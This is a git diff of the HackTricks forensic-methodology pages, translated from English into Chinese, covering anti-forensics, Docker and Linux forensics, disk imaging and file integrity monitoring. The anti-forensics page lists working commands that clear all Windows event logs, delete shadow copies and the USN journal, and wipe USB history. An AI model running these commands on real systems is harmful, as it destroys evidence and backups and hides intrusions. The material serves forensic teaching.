**反取证技术** -Keep in mind the possible use of anti-forensic techniques: +请记住可能使用反取证技术: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## 威胁狩猎 {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 94a381b98..d62272bc1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,152 +1,152 @@ -# Anti-Forensic Techniques +# 反取证技术 {{#include ../../banners/hacktricks-training.md}} -## Timestamps +## 时间戳 -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`. +攻击者可能会对**文件的时间戳进行更改**以避免被检测。\ +可以在MFT中的属性`$STANDARD_INFORMATION` \_\_ 和 \_\_ `$FILE_NAME`中找到时间戳。 -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +这两个属性都有4个时间戳:**修改**、**访问**、**创建**和**MFT注册修改**(MACE或MACB)。 -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。 -### TimeStomp - Anti-forensic Tool +### TimeStomp - 反取证工具 -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +该工具**修改****`$STANDARD_INFORMATION`**中的时间戳信息**但**不修改****`$FILE_NAME`**中的信息。因此,可以**识别****可疑****活动**。 ### Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USN日志**(更新序列号日志)是NTFS(Windows NT文件系统)的一个特性,用于跟踪卷的更改。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。 ![](<../../images/image (801).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +上图是**工具**显示的**输出**,可以观察到对文件进行了**某些更改**。 ### $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**对文件系统的所有元数据更改都会被记录**,这一过程称为[写前日志](https://en.wikipedia.org/wiki/Write-ahead_logging)。记录的元数据保存在名为`**$LogFile**`的文件中,该文件位于NTFS文件系统的根目录。可以使用[LogFileParser](https://github.com/jschicht/LogFileParser)等工具解析此文件并识别更改。 ![](<../../images/image (137).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +再次,在工具的输出中可以看到**进行了某些更改**。 -Using the same tool it's possible to identify to **which time the timestamps were modified**: +使用同一工具可以识别**时间戳被修改到哪个时间**: ![](<../../images/image (1089).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: 文件创建时间 +- ATIME: 文件修改时间 +- MTIME: 文件的MFT注册修改 +- RTIME: 文件访问时间 -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +### `$STANDARD_INFORMATION`和`$FILE_NAME`比较 -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +识别可疑修改文件的另一种方法是比较两个属性上的时间,寻找**不匹配**。 -### Nanoseconds +### 纳秒 -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳为2010-10-10 10:10:**00.000:0000的文件是非常可疑的**。 -### SetMace - Anti-forensic Tool +### SetMace - 反取证工具 -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +该工具可以修改两个属性`$STARNDAR_INFORMATION`和`$FILE_NAME`。然而,从Windows Vista开始,必须在活动操作系统中修改此信息。 -## Data Hiding +## 数据隐藏 -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS使用集群和最小信息大小。这意味着如果一个文件占用一个半集群,**剩下的半个集群将永远不会被使用**,直到文件被删除。因此,可以在这个松弛空间中**隐藏数据**。 -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +有像slacker这样的工具可以在这个“隐藏”空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示某些数据被添加: ![](<../../images/image (1060).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +然后,可以使用像FTK Imager这样的工具检索松弛空间。请注意,这种工具可以保存内容为模糊或甚至加密的形式。 ## UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +这是一个工具,如果检测到USB端口的任何更改,将**关闭计算机**。\ +发现这一点的一种方法是检查正在运行的进程并**审查每个正在运行的python脚本**。 -## Live Linux Distributions +## 实时Linux发行版 -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +这些发行版在**RAM**内存中**执行**。检测它们的唯一方法是**在NTFS文件系统以写入权限挂载的情况下**。如果仅以读取权限挂载,则无法检测到入侵。 -## Secure Deletion +## 安全删除 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +## Windows配置 -It's possible to disable several windows logging methods to make the forensics investigation much harder. +可以禁用多种Windows日志记录方法,以使取证调查变得更加困难。 -### Disable Timestamps - UserAssist +### 禁用时间戳 - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +这是一个注册表项,维护用户运行每个可执行文件的日期和时间。 -Disabling UserAssist requires two steps: +禁用UserAssist需要两个步骤: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. 设置两个注册表项,`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`,都设置为零,以表示我们希望禁用UserAssist。 +2. 清除看起来像`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`的注册表子树。 -### Disable Timestamps - Prefetch +### 禁用时间戳 - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +这将保存有关执行的应用程序的信息,目的是提高Windows系统的性能。然而,这对于取证实践也可能有用。 -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- 执行`regedit` +- 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- 右键单击`EnablePrefetcher`和`EnableSuperfetch` +- 选择修改,将每个值从1(或3)更改为0 +- 重启 -### Disable Timestamps - Last Access Time +### 禁用时间戳 - 最后访问时间 -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +每当从Windows NT服务器上的NTFS卷打开文件夹时,系统会花时间**更新每个列出文件夹的时间戳字段**,称为最后访问时间。在使用频繁的NTFS卷上,这可能会影响性能。 -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. 打开注册表编辑器(Regedit.exe)。 +2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。 +3. 查找`NtfsDisableLastAccessUpdate`。如果不存在,请添加此DWORD并将其值设置为1,这将禁用该过程。 +4. 关闭注册表编辑器,并重启服务器。 -### Delete USB History +### 删除USB历史 -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +所有**USB设备条目**都存储在Windows注册表中的**USBSTOR**注册表项下,该项包含在您将USB设备插入PC或笔记本电脑时创建的子键。您可以在这里找到此键`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**将删除USB历史。\ +您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)确保您已删除它们(并删除它们)。 -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +另一个保存USB信息的文件是`C:\Windows\INF`中的文件`setupapi.dev.log`。这也应该被删除。 -### Disable Shadow Copies +### 禁用影子副本 -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**列出**影子副本使用`vssadmin list shadowstorage`\ +**删除**它们运行`vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +您还可以通过GUI删除它们,按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤进行操作。 -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +要禁用影子副本,请参见[此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. 通过在点击Windows开始按钮后在文本搜索框中输入“services”打开服务程序。 +2. 从列表中找到“卷影复制”,选择它,然后右键单击访问属性。 +3. 从“启动类型”下拉菜单中选择禁用,然后通过单击应用和确定确认更改。 -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改将要在影子副本中复制的文件的配置。 -### Overwrite deleted files +### 覆盖已删除文件 -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- 您可以使用**Windows工具**:`cipher /w:C`这将指示cipher从C驱动器的可用未使用磁盘空间中删除任何数据。 +- 您还可以使用像[**Eraser**](https://eraser.heidi.ie)这样的工具。 -### Delete Windows event logs +### 删除Windows事件日志 -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> 展开“Windows日志” --> 右键单击每个类别并选择“清除日志” - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +### 禁用Windows事件日志 - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- 在服务部分禁用“Windows事件日志”服务 +- `WEvtUtil.exec clear-log`或`WEvtUtil.exe cl` -### Disable $UsnJrnl +### 禁用$UsnJrnl - `fsutil usn deletejournal /d c:` diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 629251985..5f792d954 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -1,25 +1,17 @@ -# Docker Forensics +# Docker 取证 {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## 容器修改 +有怀疑某些 docker 容器被破坏: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +您可以轻松地**找到与镜像相关的此容器所做的修改**,方法是: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +在之前的命令中,**C** 代表 **Changed**,而 **A** 代表 **Added**。\ +如果您发现某个有趣的文件,例如 `/etc/shadow` 被修改,您可以使用以下命令从容器中下载它以检查恶意活动: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +您还可以通过运行一个新容器并从中提取文件来**与原始文件进行比较**: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +如果您发现**添加了一些可疑文件**,您可以访问容器并检查它: ```bash docker exec -it wordpress bash ``` +## 图像修改 -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +当你获得一个导出的 docker 镜像(可能是 `.tar` 格式)时,你可以使用 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) 来 **提取修改的摘要**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +然后,您可以**解压**映像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件: ```bash tar -xf image.tar ``` +### 基本分析 -### Basic Analysis - -You can get **basic information** from the image running: - +您可以通过运行以下命令获取**基本信息**: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +您还可以通过以下方式获取**更改历史**的摘要: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +您还可以使用以下命令从镜像生成 **dockerfile**: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +为了在docker镜像中查找添加/修改的文件,您还可以使用[**dive**](https://github.com/wagoodman/dive)(从[**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)下载): ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +这使您能够**浏览不同的docker镜像块**并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**键移动到其他视图,使用**space**键折叠/打开文件夹。 -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +使用die,您将无法访问镜像不同阶段的内容。要做到这一点,您需要**解压每一层并访问它**。\ +您可以通过在解压镜像的目录中执行以下命令来解压镜像的所有层: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## 从内存中获取凭据 -## Credentials from memory +请注意,当您在主机内部运行 docker 容器时,**您可以通过运行 `ps -ef` 查看容器中正在运行的进程**。 -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +因此(作为 root),您可以**从主机转储进程的内存**并搜索**凭据**,就像[**以下示例**](../../linux-hardening/privilege-escalation/#process-memory)中所示。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..03b320d81 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# 基线 -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +基线是对系统某些部分进行快照,以**与未来状态进行比较以突出变化**。 -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +例如,您可以计算并存储文件系统中每个文件的哈希值,以便找出哪些文件被修改。\ +这也可以应用于创建的用户帐户、正在运行的进程、正在运行的服务以及任何其他不应有太大变化的事物。 -## File Integrity Monitoring +## 文件完整性监控 -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +文件完整性监控 (FIM) 是一种关键的安全技术,通过跟踪文件中的变化来保护 IT 环境和数据。它涉及两个关键步骤: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **基线比较:** 使用文件属性或加密校验和(如 MD5 或 SHA-2)建立基线,以便进行未来的比较以检测修改。 +2. **实时变更通知:** 当文件被访问或更改时,立即获得警报,通常通过操作系统内核扩展实现。 -## Tools +## 工具 - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## 参考 - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index a95a3bbff..273b0bc6e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,40 +1,30 @@ -# Image Acquisition & Mount +# 图像采集与挂载 {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} - -## Acquisition +## 采集 ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd - ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +您可以[**从这里下载 FTK imager**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。 ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +您可以使用[ **ewf tools**](https://github.com/libyal/libewf)生成磁盘映像。 ```bash ewfacquire /dev/sdb #Name: evidence @@ -51,15 +41,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` +## 挂载 -## Mount +### 几种类型 -### Several types - -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. - -### Raw +在 **Windows** 上,您可以尝试使用 Arsenal Image Mounter 的免费版本 ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) 来 **挂载取证镜像**。 +### 原始 ```bash #Get file type file evidence.img @@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF - ```bash #Get file type file evidence.E01 @@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +这是一个用于挂载卷的Windows应用程序。您可以在此处下载 [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### 错误 +- **`cannot mount /dev/loop0 read-only`** 在这种情况下,您需要使用标志 **`-o ro,norecovery`** +- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** 在这种情况下,挂载失败是因为文件系统的偏移量与磁盘映像的偏移量不同。您需要找到扇区大小和起始扇区: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -107,15 +91,8 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +请注意扇区大小为 **512**,起始为 **2048**。然后像这样挂载镜像: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 568da19c5..e09dd5247 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## 初始信息收集 -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### 基本信息 +首先,建议准备一个包含**已知良好二进制文件和库的USB**(你可以直接获取ubuntu并复制文件夹_/bin_、_/sbin_、_/lib_和_/lib64_),然后挂载USB,并修改环境变量以使用这些二进制文件: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +一旦您配置系统以使用良好且已知的二进制文件,您就可以开始**提取一些基本信息**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### 可疑信息 -#### Suspicious information +在获取基本信息时,您应该检查一些奇怪的事情,例如: -While obtaining the basic information you should check for weird things like: +- **Root 进程** 通常具有较低的 PID,因此如果您发现一个具有较大 PID 的 root 进程,您可能会怀疑 +- 检查 **没有 shell 的用户** 在 `/etc/passwd` 中的 **注册登录** +- 检查 **没有 shell 的用户** 在 `/etc/shadow` 中的 **密码哈希** -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### 内存转储 -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +要获取正在运行的系统的内存,建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\ +要 **编译** 它,您需要使用受害者机器正在使用的 **相同内核**。 > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> 请记住,您 **无法在受害者机器上安装 LiME 或其他任何东西**,因为这会对其进行多项更改 +因此,如果您有一个相同版本的 Ubuntu,您可以使用 `apt-get install lime-forensics-dkms`\ +在其他情况下,您需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME) 并使用正确的内核头文件进行编译。要 **获取受害者机器的确切内核头文件**,您可以直接 **复制目录** `/lib/modules/` 到您的机器,然后使用它们 **编译** LiME: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME 支持 3 种 **格式**: -LiME supports 3 **formats**: +- 原始(每个段连接在一起) +- 填充(与原始相同,但右侧位用零填充) +- Lime(推荐格式,带有元数据) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME 还可以用于 **通过网络发送转储**,而不是使用类似 `path=tcp:4444` 的方式将其存储在系统上。 -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### 磁盘成像 -### Disk Imaging +#### 关闭系统 -#### Shutting down +首先,您需要 **关闭系统**。这并不总是一个选项,因为有时系统可能是公司无法承受关闭的生产服务器。\ +有 **2 种方式** 关闭系统,**正常关闭** 和 **“拔掉插头”关闭**。第一种方式将允许 **进程正常终止**,并使 **文件系统** **同步**,但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会导致 **一些信息丢失**(由于我们已经获取了内存的镜像,丢失的信息不会很多),并且 **恶意软件将没有机会** 采取任何行动。因此,如果您 **怀疑** 可能存在 **恶意软件**,请在系统上执行 **`sync`** **命令** 然后拔掉插头。 -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### 获取磁盘镜像 +重要的是要注意,在 **将计算机连接到与案件相关的任何设备之前**,您需要确保它将以 **只读方式挂载**,以避免修改任何信息。 ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= 